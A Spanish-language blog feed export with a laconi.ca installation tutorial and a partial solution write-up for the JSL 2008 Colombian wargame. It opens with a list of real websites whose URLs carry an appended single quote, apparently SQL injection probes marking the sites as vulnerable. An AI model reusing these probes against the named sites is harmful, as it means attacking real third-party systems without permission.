href="http://www.reservashoteleras.com.co/public/search_hotel_dtl.asp?cca=H&amp;h=5%2754&amp;di=554&amp;c=4&amp;yad=0&amp;htnom=0&amp;raey=0&amp;sthgin=0&amp;smoor=0&amp;stluda=0&amp;nerdlihc=0&amp;sl=1">http://www.reservashoteleras.com.co/public/search_hotel_dtl.asp?cca=H&amp;h=5%2754&amp;di=554&amp;c=4&amp;yad=0&amp;htnom=0&amp;raey=0&amp;sthgin=0&amp;smoor=0&amp;stluda=0&amp;nerdlihc=0&amp;sl=1</a></li><li><a href="http://www.proexport.com.co/SIICExterno/controles/Noticias.aspx?IdNews=42%27">http://www.proexport.com.co/SIICExterno/controles/Noticias.aspx?IdNews=422</a></li><li><a href="http://www.colciencias.gov.co/portalcol/kernel/usuario_externo_convocatoria/detalle_proceso.jsp?opc=1&amp;id_proceso=48%27">http://www.colciencias.gov.co/portalcol/kernel/usuario_externo_convocatoria/detalle_proceso.jsp?opc=1&amp;id_proceso=487</a></li><li><pre><a href="http://mail.colombiaaprende.edu.co:8080/aplicaciones/global/cerrar_cookies_jsp.asp">http://mail.colombiaaprende.edu.co:8080/aplicaciones/global/cerrar_cookies_jsp.asp</a></pre></li><li><a href="http://www.pmamericas.com/Espanol/econtent/Home1.asp?idcompany=125">http://www.pmamericas.com/Espanol/econtent/Home1.asp?idcompany=125</a></li><li><a href="http://www.icontec.org/catalogo.asp?CodIdioma=ESP&amp;codMenu=86&amp;codSubMenu=0&amp;codItem=%27">http://www.icontec.org/catalogo.asp?CodIdioma=ESP&amp;codMenu=86&amp;codSubMenu=0&amp;codItem=666</a></li><li><a href="http://www.tecnoeventos.com.co/info.php?id=1%27">http://www.tecnoeventos.com.co/info.php?id=12</a></li><li><a href="http://www.canal-ar.com.ar/Noticias/Noticiamuestra.asp?Id=528%27">http://www.canal-ar.com.ar/Noticias/Noticiamuestra.asp?Id=666</a><br /></li></ul><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-161015799542201591?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com4tag:blogger.com,1999:blog-6456964801927997186.post-32740338796976844372009-02-09T11:25:00.012-05:002009-02-09T18:18:23.480-05:00Installing a microblogging server (laconi.ca)<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SZCHcRkNyqI/AAAAAAAAA38/SRlQCeUz8GY/s1600-h/identica.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 132px; height: 100px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SZCHcRkNyqI/AAAAAAAAA38/SRlQCeUz8GY/s400/identica.png" alt="" id="BLOGGER_PHOTO_ID_5300885681236462242" border="0" /></a><br /><div style="text-align: justify;">Hoy en dia un medio de comunicación muy eficiente que se ha popularizado es el uso de los <a href="http://es.wikipedia.org/wiki/Microblogging">microblogs</a> o sistemas donde se pueden hacer microposts (<= 160 caracteres). <a href="http://identi.ca/">Identi.ca</a> es la muestra de este servicio en funcionamiento, y la relación con <a href="http://laconi.ca/">laconi.ca</a> es que usa su software para funcionar. Entre otros servicios populares esta por ejemplo <a href="http://es.wikipedia.org/wiki/Twitter">twitter.com</a>. <blockquote> <span style="font-weight: bold; font-style: italic;">Que es Laconi.ca entonces?</span><span style="display: block;" id="formatbar_Buttons"><span class="on down" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"><img src="http://www.blogger.com/img/blank.gif" alt="Enlace" class="gl_link" border="0" /></span></span></blockquote>Laconi.ca es un servidor de microblogging opensource que permite instalar este servicio en nuestra Intranet para lo que sea que lo necesitemos. Los siguientes pasos nos muestran como instalarlo de una forma sencilla:<br /></div> <span style="font-weight: bold;"><br /><br /></span><div style="text-align: center;"><span style="font-weight: bold;"><span style="font-size:180%;">Paso 1</span></span><br /><br /></div><div style="text-align: left;"><span>Visitar el sitio de laconica y buscar la versión mas reciente:</span><br /></div><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/SZCHcEbDfCI/AAAAAAAAA30/pp5RfkEvpGY/s1600-h/laconica1-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 147px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/SZCHcEbDfCI/AAAAAAAAA30/pp5RfkEvpGY/s400/laconica1-r.png" alt="" id="BLOGGER_PHOTO_ID_5300885677708377122" border="0" /></a><br /><div style="text-align: justify; font-weight: bold;"><div style="text-align: center;"><span style="font-size:180%;">Paso 2</span><br /></div><br /><div style="text-align: justify;"><span style="font-weight: normal;">Descargamos el archivo de fuentes, lo descomprimimos, lo copiamos en el directorio raiz del servidor web, le ponemos permisos para el usuario que corre el servicio web y le damos permisos de escritura al directorio <span style="font-weight: bold;">avatar </span>(de lo contrario tendremos problemas de escritura cuando cambiemos la imagen del perfil.)</span> </div></div><br /><div style="text-align: justify;">Tambien creamos la base de datos (MySQL) a usar con laconica , la poblamos y creamos el usuario con el que se accedera a la BD, *por favor cambie el ejemplo*. Estos pasos no son tan dificiles, solo sigan los comandos que verán en las imagenes:<br /></div><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SZCJFsqwizI/AAAAAAAAA4E/R0YhYrWEB2w/s1600-h/laconica4-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 231px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SZCJFsqwizI/AAAAAAAAA4E/R0YhYrWEB2w/s400/laconica4-r.png" alt="" id="BLOGGER_PHOTO_ID_5300887492397927218" border="0" /></a><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SZCJF38fZII/AAAAAAAAA4M/cemnN05nOrw/s1600-h/laconica5-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 116px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SZCJF38fZII/AAAAAAAAA4M/cemnN05nOrw/s400/laconica5-r.png" alt="" id="BLOGGER_PHOTO_ID_5300887495425090690" border="0" /></a><br /><div style="text-align: center;"><span style="font-size:180%;"><span style="font-weight: bold;">Paso 3</span></span><br /><br /></div><div style="text-align: justify;">Vamos a configurar el servicio, para eso renombramos el archivo de configuración <span style="font-style: italic;">config.php.sample</span>:<br /></div><br /><div style="text-align: justify;"><span style="color: rgb(51, 102, 255);"></span></div><blockquote><div style="text-align: justify;"><span style="color: rgb(51, 102, 255);">profes:/var/www/microblog# mv config.php.sample config.php</span><br /></div></blockquote><div style="text-align: justify;">Y en este mismo archivo modificamos las siguientes variables (con estas es suficiente, luego puede experimentar a cambiar otras cosas)<br /></div><br /><span style="color: rgb(51, 102, 255);"></span><blockquote><span style="color: rgb(51, 102, 255);">$config['site']['name'] = 'SITIO DE PRUEBA';</span></blockquote><div style="text-align: justify;">Titulo para el sistema de microblogging<br /></div><br /><span style="color: rgb(51, 102, 255);"></span><blockquote><span style="color: rgb(51, 102, 255);">$config['site']['server'] = '192.168.20.18';</span></blockquote><div style="text-align: justify;">Dirección IP del sitio, si esta usando un servidor DNS puede configurar el nombre del sitio (ej: www.empresa.com).<br /></div><span style="color: rgb(51, 102, 255);"></span><blockquote><span style="color: rgb(51, 102, 255);">$config['site']['path'] = 'blog';</span></blockquote>Ruta donde estará instalado el sistema de blogging, para este ejemplo quedara en: <span style="font-style: italic;">http://192.168.20.18/blog/</span><br /><br /><span style="color: rgb(51, 102, 255);"></span><blockquote><span style="font-size:85%;"><span style="color: rgb(51, 102, 255);">$config['db']['database'] = 'mysql://usuario:password@localhost/laconica';</span></span></blockquote>Configuración del acceso a la BD, en su orden estan: usuario, clave, servidor mysql y base de datos.<br /><span style="color: rgb(51, 102, 255);"></span><blockquote><span style="color: rgb(51, 102, 255);">$config['db']['type'] = 'mysql';</span></blockquote>Tipo de bases de datos, para el ejemplo y que es lo mas comun, usamos MySQL.<br /><br /><div style="text-align: center;"><span style="font-size:180%;"><span style="font-weight: bold;">Paso 4</span></span><br /><div style="text-align: left;"><br />Ahora hacemos las pruebas básicas, entramos al sitio y lo observamos un poco, debe lucir algo parecido al de la imagen:<br /></div></div><span style="color: rgb(51, 102, 255);"></span><blockquote><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/SZCNyPn_8jI/AAAAAAAAA4U/M5yV3bRUNU8/s1600-h/laconica7-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 231px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/SZCNyPn_8jI/AAAAAAAAA4U/M5yV3bRUNU8/s400/laconica7-r.png" alt="" id="BLOGGER_PHOTO_ID_5300892655742349874" border="0" /></a><br />Luego intentamos registrar un nuevo usuario:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/SZCNyZsKbTI/AAAAAAAAA4c/5p6LDQl7juw/s1600-h/laconica8-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 293px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/SZCNyZsKbTI/AAAAAAAAA4c/5p6LDQl7juw/s400/laconica8-r.png" alt="" id="BLOGGER_PHOTO_ID_5300892658444168498" border="0" /></a><br />Vemos que la creación del usuario es satisfactoria:<br /></blockquote><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SZCNydRt7qI/AAAAAAAAA4k/EVGbZTbzZFY/s1600-h/laconica9-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 305px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SZCNydRt7qI/AAAAAAAAA4k/EVGbZTbzZFY/s400/laconica9-r.png" alt="" id="BLOGGER_PHOTO_ID_5300892659406991010" border="0" /></a><br />En la última imagen podemos ver en el ovalo verde que el usuario fue creado con exito, de esa misma forma todos los usuarios que vayan a usar nuestro sistema se pueden registrar, sin embargo en el ovalo rojo podemos ver que las direcciones (las URL), son un poco largas y algo complejas de recordar, para eso se incorpora una caracteristica dentro de laconica para hacer que las URL sean mas cortas y mas vistosas, la opción en cuestion esta en el archivo <span style="font-style: italic;">config.php </span>y se llama:<br /></div><br /><span style="color: rgb(51, 102, 255);"><blockquote></blockquote></span><blockquote><span style="color: rgb(51, 102, 255);">$config['site']['fancy'] = true;</span></blockquote><div style="text-align: justify;">Debemos poner la variable a "true" para que pueda funcionar, pero aún hace falta configurar algo en el servidor web, pues es este último el que hace el truco de reescribir las URLs.<br /></div><br /><div style="text-align: center;"><span style="font-size:180%;"><span style="font-weight: bold;">Paso 5</span></span><br /><div style="text-align: left;"><br />Arreglamos los detalles en el el servidor apache, para esto tomamos como base el archivo <span style="font-style: italic;">htaccess.sample.<br /></span></div></div><blockquote><div style="text-align: center;"><div style="text-align: left;"><span style="font-style: italic;"> </span></div></div><span style="color: rgb(51, 102, 255);">nando:/var/www/blog# ls -la htaccess.sample<br /></span> <span style="color: rgb(51, 102, 255);">-rw-rw-r-- 1 www-data www-data 11576 feb 6 15:35 htaccess.sample</span> <span style="color: rgb(51, 102, 255);">nando:/var/www/blog#</span> </blockquote><br />Si visualizamos el archivo, encontramos algo como:<br /><blockquote style="color: rgb(51, 102, 255);">RewriteEngine On<br /><br /># NOTE: change this to your actual Laconica path; may be "/".<br /><br />RewriteBase /mublog/<br /><br />RewriteRule ^$ index.php?action=public [L,QSA]<br />RewriteRule ^rss$ index.php?action=publicrss [L,QSA]<br />RewriteRule ^xrds$ index.php?action=publicxrds [L,QSA]<br />RewriteRule ^featuredrss$ index.php?action=featuredrss [L,QSA]<br />RewriteRule ^favoritedrss$ index.php?action=favoritedrss [L,QSA]<br />RewriteRule ^opensearch/people$ index.php?action=opensearch&amp;type=people [L,QSA]<br />...</blockquote><br />La manera de configurarlo entonces es crear un nuevo archivo que contenga la configuración adicional que necesitamos:<br /><blockquote style="color: rgb(51, 102, 255);"><br />nando:/var/www/blog# pico /etc/apache2/conf.d/laconica<br /></blockquote>Y dentro de este archivo creamos una directiva de directorio (<span style="font-style: italic;">Directory</span>) y allí pondremos todo el contenido del archivo <span style="font-style: italic;">htaccess</span>. Entonces quedaria algo asi:<br /><br /><blockquote style="color: rgb(51, 102, 255);"><directory var="" www="" blog=""><directory>Directory /var/www/blog<br />RewriteEngine On<br />RewriteBase /blog/<br /><blockquote><directory var="" www="" blog=""># NOTE: change this to your actual Laconica path; may be "/".<br /></directory></blockquote></directory></directory></blockquote><blockquote style="color: rgb(51, 102, 255);"><directory var="" www="" blog=""><br />RewriteRule ^$ index.php?action=public [L,QSA]<br />RewriteRule ^rss$ index.php?action=publicrss [L,QSA]<br />RewriteRule ^xrds$ index.php?action=publicxrds [L,QSA]<br />RewriteRule ^featuredrss$ index.php?action=featuredrss [L,QSA]<br /></directory><span style="color: rgb(51, 102, 255);">...<br />/Directory<br /></span><br /></blockquote><span style="color: rgb(51, 102, 255);"></span><div style="text-align: justify;"><div style="text-align: justify;"><span style="color: rgb(51, 102, 255);"><span style="color: rgb(0, 0, 0);">Observe que la directiva de Directorio debe apuntar al directorio real donde esta instalado laconica y el parametro </span></span><span style="font-style: italic;">RewriteBase</span><span style="color: rgb(51, 102, 255);"> <span style="color: rgb(0, 0, 0);">debe apuntar al PATH del url definido en el archivo <span style="font-style: italic;">config.php</span>, de lo contrario no funcionará.</span></span><br /></div><span style="color: rgb(51, 102, 255);"><span style="color: rgb(0, 0, 0);"><br />Ahora solo falta habilitar el módulo de <span style="font-style: italic;">rewrite, </span>que en Debian no esta <span style="font-style: italic;">by default</span>. Eso lo hacemos así:<br /></span></span><span style="color: rgb(51, 102, 255);"></span></div><blockquote><span style="font-size:85%;"><span style="color: rgb(51, 102, 255);">nando:/etc/apache2/mods-enabled# pwd</span><br /><span style="color: rgb(51, 102, 255);">/etc/apache2/mods-enabled<br /></span><span style="color: rgb(51, 102, 255);">nando:/etc/apache2/mods-enabled# </span></span><br /><span style="font-size:85%;"><span style="color: rgb(51, 102, 255);">nando:/etc/apache2/mods-enabled# ln -s ../mods-available/rewrite.load .<br /></span><span style="color: rgb(51, 102, 255);">nando:/etc/apache2/mods-enabled# /etc/init.d/apache2 restart</span><br /><span style="color: rgb(51, 102, 255);">Restarting web server: apache2.</span><span style="color: rgb(51, 102, 255);"><br /></span></span><span style="font-size:85%;"><span style="color: rgb(51, 102, 255);">nando:/etc/apache2/mods-enabled# </span></span><br /></blockquote><div style="text-align: justify;">Listo eso es todo (toma 10 minutos la configuración completa), despues de recargar podremos entrar nuevamente al sitio y comprobar que las URL ya aparecen de forma corta y mas fáciles de recordar, si queremos darle una apariencia diferente solo es editar el config.php y cambiar la variable:<br /></div><blockquote><span style="color: rgb(51, 102, 255);">$config['site']['theme'] = 'identica';</span></blockquote><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/SZCRylpdn8I/AAAAAAAAA4s/0KSDA4c344w/s1600-h/laconica11-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 324px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/SZCRylpdn8I/AAAAAAAAA4s/0KSDA4c344w/s400/laconica11-r.png" alt="" id="BLOGGER_PHOTO_ID_5300897059700580290" border="0" /></a><br /><span style="font-style: italic;">That's all folks, cualquier duda en los comentarios.</span><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-3274033879697684437?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com1tag:blogger.com,1999:blog-6456964801927997186.post-39474893285464190332009-02-08T22:56:00.005-05:002009-02-08T23:03:11.420-05:00OFF TOPIC<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SY-ppozzxzI/AAAAAAAAA3k/ar3ZDnm9U0Q/s1600-h/Pez-globo.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 296px;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SY-ppozzxzI/AAAAAAAAA3k/ar3ZDnm9U0Q/s400/Pez-globo.jpg" alt="" id="BLOGGER_PHOTO_ID_5300641819232814898" border="0" /></a><span style="font-size:78%;"><br /></span><div style="text-align: center;"><span style="font-size:78%;">http://www.dosisdiarias.com/</span><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-3947489328546419033?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com1tag:blogger.com,1999:blog-6456964801927997186.post-35203949042868675412009-02-05T21:21:00.050-05:002009-02-09T08:07:43.984-05:00How to pass the "JSL 2008 Colombian Wargame"<span style="font-size:100%;"><br /></span><div style="text-align: center;"><span style="font-size:180%;"><span style="font-weight: bold;"><span style="font-size:100%;">RETO INFORMÁTICO <span class="blsp-spelling-error" id="SPELLING_ERROR_0">JSL</span> 2008</span><br /></span></span></div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SYuwV_LEWTI/AAAAAAAAAzc/83BgLVD46Vw/s1600-h/Screenshot-1.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SYuwV_LEWTI/AAAAAAAAAzc/83BgLVD46Vw/s400/Screenshot-1.png" alt="" id="BLOGGER_PHOTO_ID_5299523278313118002" border="0" /></a><br /><div style="text-align: justify;">Hace algunos días <a href="http://www.nabble.com/Invitaci%C3%B3n-a-jugar-Wargame-JSL-2008-tt21147985.html#a21147985">publiqué una invitación</a> para participar en un reto informático (a.k.a <a href="http://es.wikipedia.org/wiki/Wargame"><span class="blsp-spelling-error" id="SPELLING_ERROR_1">wargame</span></a>) relacionado con herramientas libres y la comunidad de software libre colombiana, hubo buena acogida por parte de los "<span class="blsp-spelling-error" id="SPELLING_ERROR_2">linuxeros</span>" y aproximadamente jugaron 45 personas. De esas 45 personas 13 se mantuvieron constantes y antes de bajar el juego (1 mes después) ya teníamos <a href="http://www.kleper.net/">un ganador</a>.<br /></div><br />En este post quiero hacer un resumen/solución del reto para los que no pudieron pasar del primer nivel y para los que no entendieron algunos de los niveles. Esperemos que para las <span style="font-weight: bold;"><span class="blsp-spelling-error" id="SPELLING_ERROR_3">JSL</span> 2009</span> podamos organizar un mejor juego, para que todos puedan participar durante el evento.<br /><br /><div style="text-align: justify;">El reto tenia preguntas (<span class="blsp-spelling-error" id="SPELLING_ERROR_4">xa</span>) que se resolvían desde la <span class="blsp-spelling-error" id="SPELLING_ERROR_5">web</span> (las fáciles) y para otras (<span class="blsp-spelling-error" id="SPELLING_ERROR_6">xb</span>) era necesario <span class="blsp-spelling-error" id="SPELLING_ERROR_7">loguearse</span> en un sistema Debian Linux y analizar las pistas y los archivos en los <span class="blsp-spelling-error" id="SPELLING_ERROR_8">homes</span> de los respectivos usuarios (las medianamente complicadas). El acceso se hacia por <a href="http://es.wikipedia.org/wiki/Ssh"><span class="blsp-spelling-error" id="SPELLING_ERROR_9">SSH</span> </a>y las credenciales de acceso se daban a medida que se avanzaba en el juego.<br /></div><br />Bueno, hablemos de las soluciones:<br /><br /><br /><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 1a - LOS AUSENTES</span><br /></div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SYukVellbcI/AAAAAAAAAy0/Q2qaW3OavRk/s1600-h/nivel1-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 207px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SYukVellbcI/AAAAAAAAAy0/Q2qaW3OavRk/s400/nivel1-r.png" alt="" id="BLOGGER_PHOTO_ID_5299510075426434498" border="0" /></a><br /><div style="text-align: justify;">La respuesta a este nivel es muy sencilla, solo es ubicar a los personajes de la fotografía (tomada en las <a href="http://el-directorio.org/JSL2007"><span class="blsp-spelling-error" id="SPELLING_ERROR_10">JSL</span> 2007</a>) e investigar sus <span class="blsp-spelling-error" id="SPELLING_ERROR_11">nicks</span>. Este reto se podía resolver buscando en los <span class="blsp-spelling-error" id="SPELLING_ERROR_12">facebooks</span>, en los blogs, comentarios en las fotos o <span class="blsp-spelling-error" id="SPELLING_ERROR_13">tags</span> en cualquier otro lugar donde se publiquen fotos.<br />También preguntando en <a href="http://www.blogger.com/listas.el-directorio.org/cgi-bin/mailman/listinfo/colibri">la lista de colibrí </a>o inclusive <a href="http://nonroot.blogspot.com/">preguntándome a mi</a> por esos señores.<br /></div><br /><div style="text-align: justify;">Los personajes son: <span class="blsp-spelling-error" id="SPELLING_ERROR_14">cybux</span>, <span class="blsp-spelling-error" id="SPELLING_ERROR_15">kleper</span> y <span class="blsp-spelling-error" id="SPELLING_ERROR_16">ederaam</span>, 3 miembros de la comunidad de <span class="blsp-spelling-error" id="SPELLING_ERROR_17">SL</span> residentes en <span class="blsp-spelling-error" id="SPELLING_ERROR_18">Medellín</span>. Luego solo era hacer las variaciones posibles para encontrar la clave.<br /></div><br /><br /><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 1b - EL ALIAS</span><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SYuwUwbCsKI/AAAAAAAAAy8/tEXQiO0HyXA/s1600-h/nivel12-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 184px;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SYuwUwbCsKI/AAAAAAAAAy8/tEXQiO0HyXA/s400/nivel12-r.png" alt="" id="BLOGGER_PHOTO_ID_5299523257173717154" border="0" /></a><br /><div style="text-align: justify;">Una vez <span class="blsp-spelling-error" id="SPELLING_ERROR_19">logueado</span> en el sistema con el usuario que aparece en este nivel, encontramos un archivos de pistas:<br /><blockquote> <span style="color: rgb(51, 102, 255); font-weight: bold;">1. El nombre del alias de la <span class="blsp-spelling-error" id="SPELLING_ERROR_20">conexion</span><br /></span><div style="text-align: justify;"><span style="color: rgb(51, 102, 255);"></span><span style="color: rgb(51, 102, 255); font-weight: bold;">2. <span class="blsp-spelling-error" id="SPELLING_ERROR_21">Conexion</span> = Interfaz</span><span style="color: rgb(51, 102, 255);"> </span><span style="color: rgb(51, 102, 255); font-weight: bold;">3. <span class="blsp-spelling-error" id="SPELLING_ERROR_22">DNS</span> local</span></div></blockquote>Estas pistas para muchos fueron bastantes confusas, para otros también ;)<br />Para resolver este nivel debíamos pensar las pistas en orden.<br /></div><br /><div style="text-align: justify;">El alias de una conexión es conocida como una interfase virtual, en <span class="blsp-spelling-error" id="SPELLING_ERROR_23">linux</span> se pueden crear con el comando:<br /></div><span style="color: rgb(51, 102, 255);"></span><blockquote><span style="color: rgb(51, 102, 255);">#<span class="blsp-spelling-error" id="SPELLING_ERROR_24">ifconfig</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_25">eth</span>0:0 x.x.x.x <span class="blsp-spelling-error" id="SPELLING_ERROR_26">up</span></span></blockquote><div style="text-align: justify;">Suponiendo que <span class="blsp-spelling-error" id="SPELLING_ERROR_27">eth</span>0 es la interfaz principal. Cuando se usa el comando "<span style="font-style: italic;"><span class="blsp-spelling-error" id="SPELLING_ERROR_28">ifconfig</span></span>" se observa esta nueva interfaz también.<br /></div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SY9CSVCqcNI/AAAAAAAAAzs/3eF0O2qdZOk/s1600-h/solnivel12.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SY9CSVCqcNI/AAAAAAAAAzs/3eF0O2qdZOk/s400/solnivel12.png" alt="" id="BLOGGER_PHOTO_ID_5300528169091756242" border="0" /></a><br /><div style="text-align: justify;">Conexión es igual a interfaz, aplica para la pista 1.<br /></div><br /><div style="text-align: justify;">El <span class="blsp-spelling-error" id="SPELLING_ERROR_29">DNS</span> local en un sistema <span class="blsp-spelling-error" id="SPELLING_ERROR_30">unix</span>, es la forma como el resolver puede traducir nombres a direcciones <span class="blsp-spelling-error" id="SPELLING_ERROR_31">IP</span>, normalmente primero buscará en el archivo <span style="font-style: italic;">/etc/<span class="blsp-spelling-error" id="SPELLING_ERROR_32">hosts</span></span> y luego le preguntará a un servidor <a href="http://es.wikipedia.org/wiki/Domain_Name_System"><span class="blsp-spelling-error" id="SPELLING_ERROR_33">DNS</span></a> matriculado en <span style="font-style: italic;">/etc/<span class="blsp-spelling-error" id="SPELLING_ERROR_34">resolv</span>.<span class="blsp-spelling-error" id="SPELLING_ERROR_35">conf</span></span>.<br /><br /><div style="text-align: justify;">La respuesta estaba en el archivo <span style="font-style: italic;">/etc/<span class="blsp-spelling-error" id="SPELLING_ERROR_36">hosts</span></span>, y la pista era buscar el nombre que tuviera asociado la interfaz virtual (alias) de la interfaz principal.<br /><br />Eso era todo.<br /></div></div><br /><br /><br /><div style="text-align: center;"> <span style="font-weight: bold;">NIVEL 2a - <span class="blsp-spelling-error" id="SPELLING_ERROR_37">ANTISPAM</span><br /></span><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SYuwU0x7xaI/AAAAAAAAAzE/L8gCQ_BJQxo/s1600-h/nivel13-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 219px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SYuwU0x7xaI/AAAAAAAAAzE/L8gCQ_BJQxo/s400/nivel13-r.png" alt="" id="BLOGGER_PHOTO_ID_5299523258343474594" border="0" /></a><br /></div><div style="text-align: left;"><div style="text-align: justify;">Cuando hablan de nuestro wiki, hablan del <a href="http://el-directorio.org/">wiki principal de la comunidad colombiana de software libre</a> , una vez allí se debe analizar que el sistema que se implementa es el <span class="blsp-spelling-error" id="SPELLING_ERROR_38">archi</span> reconocido <a href="http://moinmoin.wikiwikiweb.de/"><span class="blsp-spelling-error" id="SPELLING_ERROR_39">MoinMoin</span></a>, el cual en sus versiones mas recientes tiene unas <span class="blsp-spelling-error" id="SPELLING_ERROR_40">caracteristicas</span> de <span class="blsp-spelling-error" id="SPELLING_ERROR_41">antispam</span>. El sistema <span class="blsp-spelling-error" id="SPELLING_ERROR_42">antispam</span> del wiki consiste en que cada vez que un usuario quiere hacer una entrada, se le hará una pregunta y si la respuesta es correcta se asume que el que contesto es un humano y no es un <a href="http://en.wikipedia.org/wiki/Spambot"><span class="blsp-spelling-error" id="SPELLING_ERROR_43">spambot</span></a> o algo similar tratando de llenar el wiki de tonterías.<br />Como las preguntas no son infinitas entonces la idea es hacer unas cuantas pruebas de escritura y verificar las preguntas que salen, en poco tiempo te darás cuenta que hay algunas que aparecen mas veces. la respuesta al reto es una de esas respuestas que se repite con regularidad.<br /><br /></div><br /><div style="text-align: center;"> <span style="font-weight: bold;">NIVEL 2b - <span class="blsp-spelling-error" id="SPELLING_ERROR_44">ENCUENTRALO</span><br /></span><div style="text-align: left;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SYuwVBUKQJI/AAAAAAAAAzM/m9S9rCDmdwo/s1600-h/sol14-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 215px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SYuwVBUKQJI/AAAAAAAAAzM/m9S9rCDmdwo/s400/sol14-r.png" alt="" id="BLOGGER_PHOTO_ID_5299523261708255378" border="0" /></a><br /><div style="text-align: justify;">La pista de este nivel es: <span style="font-weight: bold;">"El que busca encuentra"</span>, adicional a esto hay un archivo <span style="font-style: italic;">nivel2.<span class="blsp-spelling-error" id="SPELLING_ERROR_45">jsl</span> </span>(lo puedes descargar en la sección de archivos).<br />La forma de solucionarlo es primero verificar de que archivo se trata, luego intentar leerlo y nos damos cuenta que es un archivo con el formato del <a href="http://www.blogger.com/www.inkscape.org/?lang=es">software <span class="blsp-spelling-error" id="SPELLING_ERROR_46">inkscape</span></a>, por lo tanto nuestra solución puede ser:<br /><br />1. Abrir el archivo con el programa <span class="blsp-spelling-error" id="SPELLING_ERROR_47">inkscape</span><br /></div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SYuxDmlIbQI/AAAAAAAAAzk/uHJ8wx7JsNw/s1600-h/inkscape.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 249px;" 